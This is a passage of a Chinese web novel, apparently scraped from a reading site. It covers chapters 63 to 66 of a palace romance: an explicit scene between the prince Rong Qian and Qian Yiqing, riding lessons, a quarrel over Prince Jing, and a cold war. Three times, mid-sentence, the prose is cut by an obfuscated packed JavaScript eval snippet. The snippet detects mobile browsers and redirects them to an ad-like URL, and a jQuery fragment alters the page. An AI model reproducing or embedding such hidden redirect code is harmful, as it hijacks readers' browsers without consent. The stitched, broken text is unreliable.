果然是这样。 “你知道我不是这个意思。”容潜微微抿唇。 千裔清勾着他头发把玩,假装不满道:“在床榻上求亲,谁教你的?” 狭小的空间出现一瞬的静默,接着是容潜带了点无奈的声音,还带了点好脾气的笑:“是我不对。” 他抱着千裔清侧身躺下,低声在耳边呢喃:“是我不对,待择了吉日我再来问你,等我。” “嗯。” 千裔清心下一阵轻松,很怕容潜继续追问下去。 这一夜相拥而眠,两个人的心绪却都不太平静。 一个难掩失落,而另一个……她还在试图搞清自己为什么不太平静。 不愿迁就、不愿讨好、不愿与他虚与委蛇,更不愿意去哄他。她的心中曾有千百个不愿意,也曾大方的同绛雪这样陈词。 然而当千裔清真的听到这样一句话,她不知道如何回应,理智告诉她是想回绝的,但她也无法否认,好像没有想象中的那般厌恶这句话。 至少……她没想过立刻推开他。 是什么时候开始变的? 她不知道。 63. 死 转眼进入六月,容潜又变回那个闲散王爷,整日不是在家陪着千裔清写字,有时也做起小白鼠帮她试药,亦或是陪着千裔清上街走走转转。 总之全然不理外界之事,日子倒也舒心。 这期间佑王拜访了两次都被陆离拒在门外,千裔清偶尔也好奇容潜在打什么主意,不过他没说,她也就懒得去问。 六月初三。 崇安王府,楮知台。 容潜合上最后一页书,把目光落回俯在案边认真写字的千裔清脸上。 二层的窗户开着,盛夏光线大好,背过太阳的一样,她的俏脸被映的雪白,透着些不真实的朦胧的柔影,羽毛一般的睫翼随着眼帘垂下。 岁月静好。 如果不是她时不时地皱眉嘟囔一句。 容潜笑了笑:“又在骂我了?” 千裔清抿着唇角甩了甩发酸的手腕,搁下笔没好气地瞪他:“皎月公主明天就要上路了,为什么这惩罚还作数啊?” 容潜走到她身边,抓着她手腕把人拖起来,霸占了她原本的位置,接着他指着自己的腿上:“坐这。” 千裔清撇撇嘴,侧身坐下。 有了第一次,第二次第三次也显得顺理成章起来,这等寻常的接触更是不算什么,次数多了,她也就没觉得别扭了。 容潜揽着她,揉着她纤细的手腕,她的腕骨长得很是小巧可爱,看起来颇为脆弱,让他揉捏的时候不由得放轻力度,生怕伤着。 千裔清侧过脑袋问:“做什么?” 容潜抓着她的手在腕上轻啄一下,笑道:“不是手酸么?帮你揉揉。” 千裔清没领情:“那你不如别让我抄了!” “你不抄,我怎么看?”容潜理所当然道。 千裔清没忍住推他一把,只是没推动:“看原本不好吗?我的字你未必看得懂。” “不用看得懂。”揉着她手的动作滞了一下,而后恢复如常,他用很平常的语气说,“算是......留个念想吧。” 咯噔一声,胸口像是有什么骤停了一下。 “念想”两个字被他说的轻飘飘的,像一片柔软的羽毛缓缓坠落,在她心上悄然刮了一下,最后落进土里,无声无息。 千裔清一时没说话,过了半晌才找回自己的声音:“......你要走啊?” 容潜本来也没打算瞒她,时间已经所剩不多,就算是他想瞒也是瞒不住的。 他把千裔清的手攥成拳放在掌心,鼻尖在她侧脸蹭了两下,说道:“不是和你说过的,和绥夏的这场战争必不可免。” 千裔清哼了一声:“不就是出征吗,说的好像一去不回似的。” 容潜歪着头好笑地望着她:“出征本就是最有可能一去不回的,否则八哥也不会在那里躺到全身冰凉才被接回家。” 千裔清默了默,声音越来越小:“那是别人,你是你......” 容潜低笑几声,笑自己有一天也会忐忑,也会担心一去不回。 从前他只觉得去便去了,战场而已,他有自信取胜,大不了落个和容骁一样的下场,或是再惨一些,尸骨无存。 但这些都是在寻回她以前的想法。 人一旦有了这样的念头就再难轻易忘却了,容潜犹豫着,还是问出他想知道的问题:“如果......我是说如果,如果我真的一去不回......你会怎么样?” 会为他哭吗?还是会庆幸自己获得自由? 还没等他再想别的可能,他听到千裔清冷冷回了他一句:“我会去给你收尸!” 容潜诧异片刻,而后哭笑不得地看着她:“那不行,山高路远,你去了我不放心。” 这是他脑子里第一时间跳脱出的想法。 不想问她为什么不伤心,不想问她为什么不为他难过,他想告诉她不许去,不能去给他收尸,因为路上不安全。 千裔清横他一眼:“那就别死在那!让开,你的‘念想’还没抄完。” 说完,她推搡着就要起身。 容潜按着她的腰侧:“不急着写,你等等,身体转过来。” 转过来? 千裔清怔然,跟着他的引导起身,又被拉着手臂面对面跪坐在他腿上,双臂环着他的后颈。 千裔清不解地问:“你又要做什么?” “做。” 回答她的是简短的一个字。 很短,但很好理解。 千裔清:“......” 她有点为难:“在这?” 一只大手抚上她的腰臀,另一只早已在解她腰下的裙带。 容潜不以为意的笑着:“不行吗?以前你不是很喜欢在书房解我衣服?” 可惜每次都失败了。 千裔清面上闪过一丝尴尬,他怎么又翻旧账。 修长的手指从轻薄的衣衫下悄悄划过,轻车熟路地带起一阵战栗,千裔清不得不承认,她的身体似乎天生与他很合拍,有时候,仅用两根手指就能逗得她无言轻啜,双目泛珠。 起初她还觉得自己不争气。后来习惯了,她想,被这么俊逸的男人取悦伺候是多少人求也求不来的,既来之则安之。 好像也没什么不好? 细碎的亲吻落在她耳边,颈侧,还有缓缓揭下的薄纱掩盖的一片雪色,留连过的每一处都落下点点暗红,印证他曾在这里驻留过。 男人的声音带着暧昧的笑意,动了动手指,咬着她耳朵轻声道:“你很喜欢它?比喜欢我还要喜欢?” 断断续续的呜咽从口中溢出,千裔清努力拾起自己碎落的意志,勉强咬着他停下。 她整理了一下错乱的气息:“好硬......膝盖疼。” 长指缓缓退出,带着粘腻的指腹曲起在她膝上摩挲,很是怜惜。 “那去里面。”容潜勾着她腿侧架在身前,“抱紧我。” 千裔清听话的勾着他脖子紧了紧,将脑袋埋在容潜颈窝,月麟香的味道钻进鼻腔,千裔清忍不住用力吸了吸。 好香。 察觉到抱着她的男人因她细微的动作有了反应,凌乱的呼吸随着加快的步伐,转眼间就带她进了书阁最里的房间,那张床榻被整理的干干净净,侧边的衣架上挂着他常披的外衣。 “帮我解开。”带着命令的语气有些急促。 容潜按着她的手放在自己腰间的衣带,唇齿覆上她,不肯浪费一丝一毫的时间。 许是这段时间的磨合与适应,每当这种时候,他们不需多说什么,却总能很轻易的了解对方的心思,配合的天衣无缝。 唯一的缺憾大概是其中一人总是不觉得累,另一个则很头疼。 事了,容潜捏着她的脸左右打量:“好像长了点肉。” 千裔清又恢复到平时那个总对她板着脸的样子,仿佛方才那一遭是被什么夺舍了。 她拍开对方的手直言:“你可以直接说我胖了。” 容潜也不反驳,笑着又把手送上去捏着:“胖点好,不然我总担心把你弄折了。” 千裔清扯扯嘴角,鄙夷道:“那你可以收敛一些,若实在精力旺盛,去练练枪不是更好?” 练练枪术,至少还能在沙场上多一分把握。 “那不成,春宵苦短,再不抓紧可就没机会了。”容潜那么聪明,又岂会听不出她话中的意思,心情很好地弯着眼睛,眸光亮着,“你在担心我?” “当然。” 千裔清慢条斯理的穿着衣裳,暑季的衣裳本就不如冬日繁琐,不多时便能遮体,她弯腰俯身,学着男人刚才的样子掐他的脸。 她又说:“你要是死在外面,崇安王府能留给我吗?若是能,你死了也可以。” 继承他的家产倒也不亏,若是继承不了,那她岂不是既没了靠山也没了底气? 容潜对这番话倒是没觉得忌讳,拉着她的手起身,笑着说:“可以,你嫁给我,崇安王府就是你的。” 千裔清抿了抿唇,心头掠过一丝慌乱和抗拒。 她垂下眼:“不是说不在床笫间说这种话吗?” 容潜怔了怔,扯出一丝无奈的笑,眉宇间似乎笼上一层阴郁,他嘴唇动了动:“是我不对,不说了。” 千裔清没想过容潜会死,至少在她的认知里,崇安王不会死在战场上,他的战绩漂亮的紧,从没打过一场败仗,也从没吃过一次亏。 而且,容潜给人的感觉总是自信又张扬,在他的世界里好像不知道什么叫做“失败。” 直到今天千裔清才真实地意识到,原来容潜也是会怕死的。 他真的会死吗? 若他死了,她是会难过少了一个人护着自己,还是会开心自己可以离开这座四方之地。 千裔清没想过,但今天的一番话让她没办法不去认真思考这些问题。 - 盛夏的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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出城了,似乎就没什么可看了。 千裔清摇了摇头,又说:“那你教我骑马吧?” 盛夏练马,好像不是个很好的想法。 比起这个,容潜更担心她的腿,他意有所指的看了一眼,暗示道:“你......可以吗?” 千裔清自然地接过他的问题:“我可以,你可以吗?” 陆离在一旁听得胆战心惊,敢这么问殿下话的,估计也只有这么一个人了。他快速低下头,目光紧定自己的鞋尖,装作什么都没听见的样子。 “我的骑术你是见过的。”容潜扬眉,带着被人看轻的不服气。 “那就去吧!”千裔清拉过他的袖子,催促道,“走吧,我们去换衣服,噢,陆离,你去把遐方牵来,我们很快就好。” “啊?啊、是!”陆离反应了半天,连连应下,抱着容潜的长枪往偏院去。 容潜被她拖着袖子走,是一种很奇妙的感觉,但这种感觉并不差。 是天气太热了吗?眼前这个总是对他冷冰冰的人竟也鲜活起来。 还真是有点王妃的样子了。 他弯起唇角,悄悄把她指尖的衣袖换成自己的手指,同她交叠、相错、握紧。 牢牢握紧。 “千裔清。”容潜叫了她的名字。 “嗯?”虽然没回头看,拖着短短的尾音代表她这会心情还不错。 容潜看着她的侧脸轮廓,好奇道:“为什么想学骑马?” 千裔清头也不回的随口回答:“为了逃跑。” 昨天夜里她翻来覆去的在想那个问题,如果容潜不在了,他往日结了那么多的仇人,难保不会像皎月公主那样把罪责都怪在自己头上,到时候她可能只有那么一条路——逃! 可怎么逃? 她连骑马都不会,想起那时踩着容潜手下将领颤颤巍巍上马,紧紧攀着他的手臂像抓着救命稻草一样。 这样是逃不了的。 “逃?”容潜疑惑的声音从后方传来,紧接着他立刻明白了。微微颔首,“也好。” 若能给她多一步退路,也好。 若能让她多一丝安心,也好。 只要她活着,都好。 64. 发火 西郊。 除却城外山野,皇城周边竟然也有清净之所。 偌大的郊野,远眺过去似乎还能看到低矮的屋顶。 千裔清问:“为什么不去画山?” 她印象中能跑马的地方似乎只有画山,那里风景不错。 “我以为你不想去那里。”容潜淡淡陈述,“而且画山地势不够平坦,初学最好不要去。” 其实不然,只是想起画山的时候,眼前总能看到佑王他们的影子,这让他觉得很厌烦。 千裔清没多想,不论去什么地方,可以骑马就行了。 摸着遐方柔顺的鬃毛,千裔清这会子兴致正好,睁着亮晶晶的双眸问道:“我要先学什么?” “上马。”容潜指着马镫说道,“踩这里。” 千裔清认真听着,依言照做。 她扶着马鞍尝试了几次都没上去,难免有点沮丧:“好像不行......” “你腿上没有力气。”想到她腿上的旧疾,容潜沉吟片刻,在遐方额前顺了顺,对着千裔清道一笑,“其实还有个办法。” “什么办法?” 她知道自己的腿没有力气,但这也不是一朝一夕就能练出来的,就算她有时间,好像也没这个能力。 容潜说道:“你摸摸它的额头,然后对着它的耳朵说——上马。” 这是什么方法?难道说完了,遐方还能把她背上去不成。 千裔清满脸不信,容潜挑眉:“你试试不就知道了。” 千裔清想,试试也没什么大不了的,虽然八成是容潜在戏耍她。但如果真是这样,她就一个月不和他说话。 遐方垂着长长的睫毛安静等着,像是在听他们二人的对话。 千裔清上前,跟着容潜的话照做,先是摸摸它额前的鬃毛,犹豫了一瞬,把自己的嘴唇凑近遐方立起的银雪色耳朵,轻言一声“上马”。 遐方像是营中的将士得了军令,鼻孔呼出两声浊气,两只前蹄弯曲,霎时便跪在地上,看起来很乖巧的样子。 千裔清被它的动作惊了一下,接着又是诧异:“马还能听懂人话?” 容潜笑道:“自然,不过这是我无事对它加以训练,应该只对遐方管用。” 遐方是容潜的战马,陪着他出生入死,又不是她的。 如果这招只对遐方管用,那以后遇上别的马岂不是还上不去? 千裔清又觉得有点丧气。 容潜安慰她:“没关系,慢慢来就好,你先上马试试。” 千裔清稳稳当当坐上马背后,遐方才缓缓起身,容潜把缰绳递给她,教她如何引着马前行。 “我会不会摔下来?”她使出全身力气紧紧夹着马肚子,生怕一个坐不稳被甩下。 容潜跟在她身边慢慢走着:“跑的不快就不会,马都是通人性的,若真遇上马惊,你可以先抱紧它脖子以防被丢下,再同它说些好听的,待它情绪稳定再拉扯缰绳控制。” 好难啊。 千裔清撇了撇嘴,怎么马还跟人一样要哄的。 想到这里,千裔清用余光瞥了容潜一眼。 跟这个人一样。 - 临近黄昏,千裔从马背上下来时腿还是抖的,非要容潜搀扶着才能走得了路。 倒不是这一下午骑马有多累,是千裔清实在太紧张。对这种不熟练又先天性不擅长的技艺,没人避免的了紧张。 容潜扶着她走了几步,觉得这样实在不行,便在她面前半蹲下,指着自己的后背示意:“上来,我背你。” 千裔清是想爬上他的背,回头却看到遐方一脸乖巧的站着,歪头看他们。 “遐方怎么办?”没人牵着,它会不会走丢啊! 容潜催促道:“它会跟着走的,你先上来。” 这下她就没再犹豫,攀着容潜的肩头上去,把全身力气都卸在他背上。 遐方果然很听话的跟上,他们走几步,遐方就跟多远。 黄昏时的郊外,草色被映照的又翠又暖,千裔清总觉得自己是在回家路上。 虽然她早就已经没有家了。 “笑什么呢?” 突如其来的声音把千裔清拉回现实,她这才发觉自己一时想的入迷,嘴角还挂着暖洋洋的笑意。 千裔清咳了一声,故意打趣他:“我是在想,刚才有遐方背我,这会儿还有你背我,有没有腿好像都不重要了。” 容潜的声音果然带着一丝无可奈何:“你说我是马?” 千裔清勾紧他的脖子,笑盈盈道:“我没这么说,是你说的。” 容潜也不恼,轻笑了一声,而后认命似的说:“好,你没说,是我说的。” 他顿了顿,又加了一句:“反正也不是没被你骑过。” 千裔清:“......” 一句话把她噎的哑口无言,或许也只有如今的容潜能做到了。 口舌上占了上风,容潜心情也跟着愉悦起来,只是等了很久,紧贴在他背上的人却始终没再说话。 容潜顿时有点紧张,暗道自己不该总是逗她的,姑娘家的脸皮是该比男人薄。 他试探道:“生气了?” 千裔清没生气,这样安适的光景弥足珍贵,她不会为这点小事生气。 然而越是觉得弥足珍贵,心底就越是不安起来。 这种感觉她从前似乎也有过,而带给她这种感觉的,同样是背着她的这个人。 时过境迁,好像变了,又好像都没变。 千裔清一时恍惚,忽然听到容潜一遍遍叫她的名字。 她眨眨眼,回过神来:“什么?” 容潜长舒一口气:“没什么,还以为你生气了,没生气就好。” “容潜。” “嗯。” “你什么时候去边境?” “还没定下,大约还要半个月吧。” 半个月...... 千裔清想起陆离提过的那件事,加上半个月,刚好接近一个月的时间。 千裔清又喊他的名字:“容潜。” “嗯,怎么了?”容潜的声音染着笑,笑她今天怎么这么喜欢喊他。 下一刻,他唇角的笑意僵住一瞬,他听到千裔清问他。 “你要出征的事,和璟王有没有关系?” 这些事是千裔清不该知道的,因此,容潜自然而然把根结归于陆离身上。 容潜的声音陡然变沉:“陆离告诉你的?” “不是,是我偶然听到的!”千裔清想说他这次是真的错怪陆离了,跟着解释道,“那天璟王去府上找你,我们回来时他还没走……” “所以呢?”他的声音冰冷的不带一丝温度,“你是想劝我当作什么都不知道,还是想劝我助他?” 千裔清越听越迷糊了,她根本不清楚其中缘由,何来的劝字? 容潜仍在继续道:“我知道上次的事多亏祝音,所以前几日她来看你我答应了,也以礼相待了。你觉得不够吗?千裔清,你以为帮了璟王就是在帮她吗?你错了!” 千裔清很久没有见过他如此阴晴不定的一面。以前他每天都要犯病好几次,直到近来他转变了很多,恍惚间带了几分容怀瑕的影子。 她以为容潜变了,以至于她几乎忘了在旁人嘴里这位崇安王是什么模样。 千裔清突然觉得没什么解释的必要了。 “放我下来。”她用淡淡的口吻命令。 身前的男人后背微微起伏,像是在隐忍着,脚步却没听她的停下。 千裔清又重复了一遍,语气加重了一些:“放我下来!” 容潜沉了口气,背着她道:“别闹了。” “我自己有腿,不用你背,还是说殿下真觉得我是个废人?”千裔清冷笑,说话也越发讽刺。 容潜不说话,勾着她腿弯的动作又紧了几分,像是在提前预防她在背上踢自己一脚,或是突然从后背跳下来。 千裔清抿了抿唇,搁在他肩后的下巴挺上前去,张口咬在他颈侧,比上次那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060439|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口只狠不轻。 “嘶——” 从他的反应也能听出这次是真觉得疼,同样也表明了千裔清真的在生气。 肩颈上很快渗出细微的血迹,侵入她的唇舌之间,带着腥甜。 可容潜没放手。 他在站原地,任由千裔清用力咬着。 直到千裔清咬的嘴也麻了,离开那处皮肤,上头的齿痕看得人触目惊心。让人理所当然的怀疑再继续下去,他的肩头或许会少块肉也说不定。 容潜微微侧过头,声音一如既往的冷静:“闹够了?” 千裔清没理他。 算了,就这样吧,以后再也不理他了。 - 容潜背着她走到王府大门才放下。 小厮照例上来迎接,牵着遐方进院。 几人都觉得这两位主子看起来怪怪的,两个人互相背对着不说话,分明是同一个方向却又各走各的,看起来是在闹别扭。 刚消停没几天又闹别扭了? 容潜拐了个弯没回房间,而是去了书房,陆离很快接到传话说殿下找他,就去了。 走到门口,容潜的身形笼在窗台夕阳的印象下,看不清脸色,和他的衣裳一样黑乎乎的,很阴沉,陆离当下就觉得不妙。 脚停在门槛之外还没踏进去,就听见里面的人声音微凉:“把门关上,进来。” 千裔清则是回到卧房。 她什么都没想,也没觉得有什么要一直气的。她只是很快做了个决定,决定以后不要再理他了。 陆离来敲门时,千裔清刚沐浴完毕。 洗去骑马沾染的一身粘腻,换了衣裳,身上也轻快许多。 绛雪正在给她梳头发,见陆离过来,自觉的朝一边退开。 陆离在她面前站定:“王妃,殿下还在书房……您要不要去看看?” 千裔清看也没看他一眼,只是费解道:“我去看什么?还有,谁让你这么叫我的?” 啊?这段日子以来她不是一直都默认这个称呼的吗?王府上下一干人也都是这样叫的,怎么这会又惹她不满了? 陆离心中叫苦:“呃……您和殿下真的吵架了?” 千裔清摆摆手,不以为意道:“我怎么敢和王爷吵架,你来找我到底有什么事,快点说完出去。” 陆离想了想,说道:“噢,殿下的意思是让属下来看看您休息了没有,若是没有,请你送一碗桂花酸枣汤过去。” 千裔清朝他一撩头发,抬起手臂示意他看一眼自己已经卸下装束,道:“没看出我正要休息吗?” 见她态度已经很明显,陆离只能求助似的望了一眼一旁的绛雪,希望她能劝上几句。 绛雪很有眼色地点头,而后来到千裔清身旁,拿起帕子擦干她发尾的湿气,自然的接过话:“要不......姑娘还是去吧,不然陆离大人怕是要因此受罚了!殿下的脾气您是知道的,说不定我们这些跟着伺候的都要一并受罚,到时绛珠又要在您房前哭,您受得了?” 这是在给她台阶下呢,可做错事的又不是她,凭什么要她去下这个台阶? 千裔清扫了绛雪一眼,面色不耐:“你这么心疼陆离,不然你去煮?” “啊?”绛雪一愣,连忙俯身认错,“奴婢不是这个意思。” 千裔清笑了笑:“可我是这个意思,要么你们去煮,要么你们受罚。” 她起身往床榻边去,头也不回道:“办法我已经给你们想好了,做不做就是你们自己的事了,行了,出去吧!” 陆离和绛雪相视一眼,都听出这次两个人似乎不是一般的闹别扭那么简单的,只好叹了一口气,一同退下。 埋进软绵绵的被子里,因是六月,到了晚上也不觉得凉快。 千裔清只觉得自己心口也一起冒热气,说不清楚是因为天气还是别的什么原因。 又烦,又闷。 摆什么王爷架子,当她是什么使唤丫头吗? 果然本性难移,什么关怀体贴都是装的! 65. 喜欢 没过多久,绛雪又回到房前,手上端着热气腾腾的汤羹。 绛雪扬起手,心中犹豫要不要敲门进去,姑娘头先都说自己要休息了,这样打扰人家,也不知道会不会碰一鼻子灰。 陆离抱着手站在台阶下对绛雪张了张口,口型正是催她快去。 算了,试试吧! 平时府上大事小事都有陆离大人帮衬,他要是受罚,自己难免也会过意不去。 想到这里,绛雪在门框敲了两下,屋里没人回应。 她又喊了几声,房间里这才传来千裔清的声音,传她进去。 待绛雪进屋看清楚了,才假装惊讶道:“姑娘没睡啊?” 千裔清是没睡着,但绛雪这丫头的演技也太差了吧! 她打着哈欠道:“吵也被你吵醒了!” 直到目光落在绛雪手中稳稳端着的酸枣汤,桂花和酸枣的香气扑鼻而来。 千裔清问:“煮好了就送去容潜那,端来我这做什么?” “王妃......”绛雪正想说什么,突然被千裔清一瞪,而后生生改口,“呃、千千姑娘!奴婢是想,殿下吩咐了要您做的,这万一被发现了怎么办?” 千裔清不以为然地笑笑:“一碗汤而已,又不是山珍野味,家家户户都会做,不会出什么偏差的!” “可是......” “不用可是,你便说是我做的就好,若他问起来我也不会说什么的。”绛雪还想说什么,千裔清已经拉紧被角,做出一副送客的姿态。 绛雪只好答应:“那奴婢去了。” 陆离眼瞧着绛雪进去没多久又出来了,垂头丧气的,一眼就能看出结果。 陆离摇摇头,看出绛雪的为难:“我去吧。” 绛雪诧异的睁了睁眼,点点头递过给他:“那就麻烦大人了,噢对了,姑娘说殿下若问起就说是她做的即可......” 陆离苦笑:“我有分寸。” 说什么有用吗,重点是要殿下发现不了才有机会说啊! - 灯火通明的书房安安静静,只有烛芯燃烧和宣纸翻过一页又一页的声音。 千裔清抄写的最后一卷已经装帧完好,虽是字体的确算不得好,这样下来倒也还算有模有样。 容潜沉叹一声,余光瞥见明纸上放大的黑色人影渐渐靠近,继而停在门前再没动作。 他皱了皱眉:“进来。” 同预想中的一样,只有陆离一个人而已。 她那么倔的一个人,哪会轻易拉下脸来呢? 倒是陆离在容潜面前是个藏不住话的,他一心为他的主子,向来是有什么说什么——只要是为了殿下好。 陆离尴尬地笑笑,把托盘递上前,还没等容潜问什么就先开口解释:“殿下,王妃说她今日练习骑马练的累了,所以就不过来了......” 容潜头也没抬,手指一顿,嘲讽似的扬了扬唇角:“你觉得是你了解她,还是本王了解她?” 陆离一怔:“自然是您......” 容潜掀起眼皮扫过陆离无措的表情:“行了,拿过来。” 陆离刚从愣神中回过神,“噢”了一声连忙凑上去。 他的目光落在容潜手上,从手腕抬起到缓缓伸出手指触到碗身的动作分明发生在片刻之间,但总觉得时间无比的漫长。 悄悄吞了一口口水,陆离看到容潜几根手指捏着碗沿而后凑到唇边轻抿了一口。 他觉得自己的心脏似乎也骤停了。 然而容潜只是这样浅浅抿了一口,把手中的白玉小碗放回原处,继续翻起他面前的书。 似是想起什么,容潜不经意地问道:“她还说了什么?” 陆离见没被发现,这会儿连说话都利索不少:“哦哦!旁的就没什么了,时候不早了,王妃说让殿下您早些回去休息!” 听完这话,容潜口中溢出一声冷笑,抬起眼望着陆离,眼中的神色锋锐之极,像是看穿了一切。 他就保持着这番神色缓缓起身,突然扬手打翻了面前的汤碗,脆生的精致描金白玉碗霎时碎成五片,残渣更是溅了一地,混合着赤褐色的液体。 容潜冷冷看着陆离:“你真以为跟了本王十几年,本王就不忍心处置你?” 陆离扑通一声就跪下了,头也不敢抬:“属下不敢!” 黑色的锦靴缓缓出现在陆离的视野,他仍是不敢抬头,只听着脑袋上方是容潜一如既往冰冷危险的声音:“不敢?本王看你熟练得很呐,还敢拿旁人做的东西来糊弄本王?” 悬在心间的大石头终于落地,陆离暗叹一声,他就知道一定会被发现的! 容潜盯着他低垂到地面的头,只有攥成拳的手指微微颤动,便问道:“你有话要说?” 陆离顿了顿抬起头,目光坚定到有种视死如归的感觉:“殿下请恕属下直言,千千姑娘她真的不爱您......” 居高临下看着他的人嘴角弧线逐渐紧绷,狭长的双眼不悦地眯起。 陆离说到一半,又停下了。 末了,容潜卸下紧绷的表情,像是问陆离,又像是问自己:“你怎么知道她不爱我?” 陆离张了张口,把心一横:“平日里千千姑娘待您如何,殿下心中难道不清楚?属下冒死直言,若非为了璟王妃,她根本不会——” “就算如你所说那也是以前!”容潜冷声打断他,“现在呢,你觉得现在如何?” 现在?倒也也没什么不同。 左不过是殿下您现在位高权重不肯放人,又或是于她还有什么价值。若是殿下愿意放她自由,陆离毫不怀疑千裔清会立刻提着她的药箱离坤京远远的! 但这话陆离想得明白,他不信容潜想不明白,除非是他不愿意想明白。 既如此,这话似乎也不好说出口了。 陆离缄口想了半天,决定拿眼前的事来说一说:“其实殿下您也知道,方才那汤根本不是千姑娘做的,她......她说她懒得动!” 听到这话,容潜目光闪烁几下,眉间微微拧起,像是在思索。 他声音淡淡的:“你是说,她骗我?” 陆离跟着又叹一口气:“是!” 兴许这会儿人家已经进入梦乡了,哪来的闲情逸致去管您呢? 容潜缄默许久,那双黑色的锦靴从陆离视线退开,靴底踏在地板上的声音不急不缓,不大不小。 少顷,容潜开口,声音带着几分笑意:“她骗我是因为她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容潜转动几分脖颈,那条腿搭在他腰下的位置,膝弯似乎放得也有点不大对劲,似蹭非蹭,搞得他心神恍惚,逐渐焦躁起来。 他想了想,伸手捞起她的小腿轻移,只是刚拿开半寸,千裔清变本加厉地勾着他的腰身,整个人紧紧缠上,膝盖更是挤进容潜两腿之间。 缠在他腰上的手晃了半天也没找到舒适的位置,千裔清蹙着眉摸索半天,最后把手停在他的胸口上,那里宽阔平躺,放她的手掌刚刚好。 容潜的呼吸跟着她的动作一会紧一会慢,偶尔倒抽一口凉气,但这些千裔清都没听着,她安稳的沉浸在自己的睡梦中,只觉得自己捞到一只好闻又温暖的人偶,而且这人偶还是软的,比她身下的床铺还要软,抱着很舒服。 容潜怔然,这是他的房间,他的床,怎么反到自己想做贼一样又不敢动又不敢出声的? 扭头看着身旁躺着的这位“祖宗”,耳边又响起陆离欲言又止的表情和说得委婉之极的话。 他何尝不明白,可他不想明白。 又或许,他其实并不明白? 容潜不知道,他只知道所有的一切都不足以成为他放任千裔清离开的理由。 66. 冷战 喻景淮曾告诉他,真正爱一个人是让她无忧无虑,让她安安稳稳,哪怕不在她身边,哪怕离开她。所以,离开一个人、亦或放一个人离开都是一种保护方式。 容潜清楚记得那时候他只回了喻景淮一个字:蠢。 直到现在他依旧不会更改这个答案,甚至会为喻门主多加两个字的评语:懦夫。 - 迷迷糊糊快睡醒时,千裔清感觉到有人在拉扯她的胳膊,虽然动作很轻,千裔清还是被弄醒了。 一睁眼,眼前是一张放大的俊脸,睫毛轻垂,面上没什么情绪,只是很专注的把她胳膊从自己身上移开,而后一缕一缕把自己的长发从千裔清肩头下抽出。 察觉到她醒来轻微的抽气声,容潜抬眼,清冷的凤眼在她面前,直直望向自己,千裔清甚至能感受到他打在自己脸上的呼吸。 千裔清怔了怔,他什么时候回来的? 还没等她开口,容潜瞥了一眼她的肩头,淡淡说道:“你压着我头发了。” 不仅如此,她的腿还结结实实勾在容潜身上。 千裔清连忙把腿收回来,自觉的朝里撤开,先前她躺着的位置下果然是容潜的长发。 他一晚上都是这么睡的吗? 千裔清难得觉得场面有点尴尬,轻咬着因晨起还没什么血色的下唇。 是跟他说话?还是不说? 也没来得及说,容潜翻身起来,背对着她自顾自开始穿衣,从头至尾没有再看她一眼,也没再说一句话。 等一切结束,他就这样大踏步离开,留千裔清一个人在塌上反应。 ? 容潜这是在表达自己很生气吗? 他凭什么生气啊,难道不是他昨天不分青红皂白误会她,接着又不肯听人解释吗? 该生气的是她好吧! 绛珠推门进来,手里端着打好的热水:“咦?姑娘要起了吗?” 千裔清回过神,朝绛珠点点头:“起。” 今天没见到绛雪还让人怪意外的,往日都是两人一道过来,千裔清想起昨晚的事,现在觉得自己当时也是有点怄气成分在,要是因此连累了绛雪就不好了。 怀着几分千裔,千裔清擦干脸问:“绛雪怎么没一起过来?” “她......”绛珠神色中带着闪躲,似是有意避开千裔清的眼睛,“噢、她昨晚没休息好,跟管事报假了。” 是吗?千裔清不太相信,眼睛牢牢锁着绛珠,又问:“那你今早可有见过陆离?” “陆离大人......”绛珠摇摇头,垂着眼不敢看她,“没见着。” 千裔清勾了勾唇角,顺手拿了把发簪随意把头发盘起,站起身道:“既然绛雪不舒服,那我和你一起去瞧瞧她,若是生了什么病可别耽误了。” 绛珠忙伸手拦下:“姑娘不用担心!绛雪她常这样的,休息休息就好了!” 经常这样?她可从来没听说过!这倒是新鲜。 千裔清自然是一点不信的,勾着唇似笑非笑看着绛珠,也不朝前走,也不说话。 这目光终于是盯的绛珠全身不自然,颓败的认输,坦言道:“唉,奴婢说实话吧!其实绛雪只是被罚了俸禄,禁足五日。陆离大人才是真的惨呢!听说给殿下做陪练,方才见着了,脸上都是青一块紫一块的!” 什么陪练,说得好听,其实就是人肉沙包,任人出气的出气筒罢了。 陆离也就算了,绛雪才真是无妄之灾。 这么说,容潜已经知道昨晚的事了? 啊......怪不得那么生气,气的都不想理她了。 绛珠见话已经挑明,索性就把心中的想法一道说出来,不说点什么,她总觉得憋的难受。 绛珠试探道:“姑娘,其实方才奴婢在门口见到殿下了,殿下说以后不许再唤你王妃,你们这次是真的在吵架啊?为什么啊?” 千裔清一时不知道说什么。说起来他们的确算是吵架,但这吵架的原因其实应该算是璟王,但他们两个因为璟王吵架......似乎也太奇怪了! 千裔清摇摇头:“我们不是常吵架吗,有什么大惊小怪的?” 绛珠急道:“姑娘,恕奴婢劝您一句,您既然已经跟了殿下,对殿下的态度也应该好一点,就算是为您自己好过,不能这么三天两头的闹呀!更何况、更何况......” 